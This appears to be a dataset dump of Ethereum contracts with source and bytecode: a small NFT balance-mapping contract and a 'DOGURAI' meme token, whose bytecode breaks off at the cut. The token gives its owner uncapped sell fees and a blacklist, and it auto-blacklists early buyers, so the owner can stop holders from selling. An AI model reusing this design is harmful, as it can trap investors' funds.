token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface Staking { function tokensStakedByOwner(address _owner) external view returns (uint256[] memory); } contract MappingMoonboyz { using SafeMath for uint256; IERC721 public nft; Staking public staking; constructor(address _nft, address _staking) { nft = IERC721(_nft); staking = Staking(_staking); } function balanceOf(address owner) public view returns (uint256) { uint256 balance = nft.balanceOf(owner); uint256[] memory tokens = staking.tokensStakedByOwner(owner); return balance + tokens.length; } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806347ccca02146100465780634cf088d91461007657806370a0823114610089575b600080fd5b600054610059906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b600154610059906001600160a01b031681565b61009c6100973660046101a7565b6100aa565b60405190815260200161006d565b600080546040516370a0823160e01b81526001600160a01b038481166004830152839216906370a0823190602401602060405180830381865afa1580156100f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011991906101d7565b6001546040516261e09760e31b81526001600160a01b0386811660048301529293506000929091169063030f04b890602401600060405180830381865afa158015610168573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526101909190810190610206565b905080518261019f91906102c4565b949350505050565b6000602082840312156101b957600080fd5b81356001600160a01b03811681146101d057600080fd5b9392505050565b6000602082840312156101e957600080fd5b5051919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561021957600080fd5b825167ffffffffffffffff8082111561023157600080fd5b818501915085601f83011261024557600080fd5b815181811115610257576102576101f0565b8060051b604051601f19603f8301168101818110858211171561027c5761027c6101f0565b60405291825284820192508381018501918883111561029a57600080fd5b938501935b828510156102b85784518452938501939285019261029f565b98975050505050505050565b600082198211156102e557634e487b7160e01b600052601160045260246000fd5b50019056fea2646970667358221220d7685bb22acb6e094466e4b2a11ed90cbb92020b83687ee8d51e52a1e0a5f31a64736f6c634300080b0033
{"success": true, "error": null, "results": {}}
8,352
0xbb54337393dbb59c1025f68255c356f0fba06174
/** DOGURAI https://t.me/DoguraiToken https://www.doguraitoken.com/ Dogurai is the lonely warrior, who fights Jeets and serves the Chad in his domain, the feudal Ethereum Network Kingdom Join the path of the Bushido with this fine samurai token, and earn a good fortune by holding it. The ERC20 kingdom's daimjo will reward those who remain loyal, and punish the jeets who abandon them. */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DoguraiToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DOGURAI";// string private constant _symbol = "DRAI";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 15;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x71e0c70d338E5673259EA788441f9ee59e3C267D);// address payable private _marketingAddress = payable(0x78c7BA1956B788b8315057E2C2e4D07c11D6c2AB);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 16000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600781526020017f444f475552414900000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600481526020017f4452414900000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390f